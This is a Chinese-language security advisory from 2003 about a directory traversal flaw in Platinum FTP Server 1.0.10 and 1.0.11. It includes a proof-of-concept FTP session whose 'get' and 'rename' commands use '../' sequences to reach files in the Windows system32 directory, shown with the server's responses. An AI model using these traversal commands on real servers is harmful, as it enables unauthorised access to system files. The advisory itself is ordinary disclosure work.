安全研究

安全漏洞
PlatinumFTPServer目录遍历漏洞

发布日期:2003-02-24
更新日期:2003-03-03

受影响系统:
PlatinumFTP PlatinumFTP 1.0.11
PlatinumFTP PlatinumFTP 1.0.10
描述:
BUGTRAQ  ID: 6925

Platinum FTP Server是一款方便容易管理的FTP服务程序,可使用在各种Windows系统上。

Platinum FTP Server存在目录遍历问题,远程攻击者可以利用这个漏洞以FTP进程权限查看系统获得任意文件。

由于Platinum FTP服务程序对'../'字符缺少正确处理,攻击者提交多个'../'的请求可以绕过FTP ROOT目录限制,以FTP进程权限查看获得系统文件。

<*来源:Pui Kin Ser (serpuikin@hotmail.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=104610637031244&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Pui Kin Ser (serpuikin@hotmail.com)提供了如下测试方法:

ftp> get ../../../../windows/system32/cmd2.exe
200 PORT command successful
550 ../../../../windows/system32/cmd2.exe: No such file or directory.

ftp> dir
200 PORT command successful
150 Opening ASCII mode data connection for /bin/ls.
-rwxr-xr-x  1 User     Group             28 Feb 24 09:59 cmd3.exe
226 Listing complete.
ftp: 67 bytes received in 0.00Seconds 67000.00Kbytes/sec.

ftp> rename ../../../../windows/system32/cmd2.exe
To name cmd2.exe
350 Command OK - waiting for name
250 File/dir renamed to \cmd2.exe
ftp> dir
200 PORT command successful
150 Opening ASCII mode data connection for /bin/ls.
-rwxr-xr-x  1 User     Group         375808 Aug 18 20:00 cmd2.exe
-rwxr-xr-x  1 User     Group             28 Feb 24 09:59 cmd3.exe
226 Listing complete.
ftp: 134 bytes received in 0.00Seconds 134000.00Kbytes/sec.

建议:
厂商补丁:

PlatinumFTP
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.platinumftp.com/platinumftpserver.php

浏览次数:3930
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障